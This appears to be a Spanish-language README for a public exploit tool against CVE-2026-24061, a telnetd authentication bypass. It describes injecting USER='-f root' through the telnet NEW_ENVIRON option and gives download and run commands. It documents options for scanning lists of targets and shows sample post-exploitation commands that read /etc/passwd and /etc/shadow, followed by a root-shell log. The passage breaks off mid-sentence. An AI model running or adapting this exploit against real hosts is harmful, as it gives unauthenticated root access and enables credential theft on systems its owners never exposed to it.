
Proof of Concept: CVE-2026-24061 es una vulnerabilidad crítica de omisión de autenticación en GNU inetutils-telnetd que permite a atacantes remotos no autenticados obtener acceso instantáneo a la shell root mediante la explotación maliciosa de la opción telnet NEW_ENVIRON.
Una herramienta de investigación de seguridad para explotar CVE-2026-24061, una vulnerabilidad crítica de omisión de autenticación remota en GNU inetutils-telnetd que permite acceso instantáneo a un shell root sin autenticación.
| Campo | Valor |
|---|---|
| Identificador CVE | CVE-2026-24061 |
| Puntuación CVSS v3.1 | 9.8 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Clasificación CWE | CWE-88: Neutralización Incorrecta de Delimitadores de Argumentos en un Comando |
| Proveedor | Proyecto GNU |
| Producto | inetutils-telnetd |
| Fecha de Divulgación | 20 de enero de 2026 |
| Parche Disponible | Por determinar |
Existe una vulnerabilidad crítica en GNU inetutils-telnetd hasta la versión 2.7 que permite a atacantes remotos no autenticados eludir completamente la autenticación y obtener acceso inmediato a un shell root. La vulnerabilidad se explota mediante la opción telnet NEW_ENVIRON, inyectando una variable de entorno USER especialmente manipulada con el valor "-f root", que sortea todos los mecanismos de autenticación.
| Rango de Versiones | Estado |
|---|---|
| <= 2.7 | Vulnerable |
| > 2.7 | Estado del Parche: Por determinar |
La vulnerabilidad se origina por la validación incorrecta de la variable de entorno USER en el manejador de la opción NEW_ENVIRON de telnetd. Al procesar la opción telnet NEW_ENVIRON, el servicio telnetd no sanitiza el valor de la variable USER antes de pasarlo al proceso de inicio de sesión. Al establecer USER en "-f root", el atacante inyecta argumentos de línea de comandos que fuerzan la autenticación exitosa para el usuario root sin necesidad de credenciales.
Todas las dependencias son parte de la librería estándar de Python:
| Paquete | Propósito |
|---|---|
| socket | Comunicación de red |
| select | Multiplexación E/S |
| sys | Interacción con el sistema |
| os | Interfaz del sistema operativo |
| threading | Explotación concurrente de objetivos |
| datetime | Formato de marcas de tiempo |
# Clonar el repositorio
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Ejecutar el exploit
python3 main.py -u <target_ip>
# Descargar el exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Hacerlo ejecutable (Linux/macOS)
chmod +x main.py
# Ejecutar el exploit
python3 main.py -u <target_ip>
# Asegurarse de que Python 3.7+ está instalado
python3 --version
# Descargar y ejecutar
python3 main.py -u <target_ip>
Uso:
python3 main.py -u <ip_objetivo> [-p <puerto>] [-usr <usuario>]
python3 main.py -l <archivo_objetivos> [-p <puerto>] [-usr <usuario>]
echo "comandos" | python3 main.py -u <ip_objetivo>
Argumentos:
-u Dirección IP o nombre de host de un solo objetivo
-l Ruta al archivo que contiene IPs objetivo (una por línea)
-p Puerto objetivo (por defecto: 23)
-usr Usuario para explotar (por defecto: root)
Explotar una instancia telnetd:
# Explotación básica (puerto 23 por defecto, usuario root)
python3 main.py -u 192.168.1.100
# Puerto personalizado
python3 main.py -u 192.168.1.100 -p 2323
# Usuario diferente
python3 main.py -u 192.168.1.100 -usr admin
Ejecutar comandos de forma no interactiva:
# Comando único
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Múltiples comandos
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Comando con redirección de salida
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Explotar múltiples objetivos desde un archivo:
python3 main.py -l objetivos.txt
python3 main.py -l objetivos.txt -p 2323
python3 main.py -l objetivos.txt -usr admin
Formato del Archivo de Objetivos (objetivos.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Notas:
| Indicador | Color | Descripción |
|---|---|---|
[SUCCESS] | Verde | Conectado exitosamente al objetivo |
[EXPLOIT] | Verde | Payload de explotación enviado exitosamente |
[INFO] | Azul | Mensaje informativo sobre la operación actual |
[ERROR] | Rojo | Error de conexión, tiempo de espera o error de explotación |
[WARNING] | Amarillo | Mensaje de advertencia (no se usa actualmente) |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
El exploit aprovecha la fase de negociación del protocolo telnet: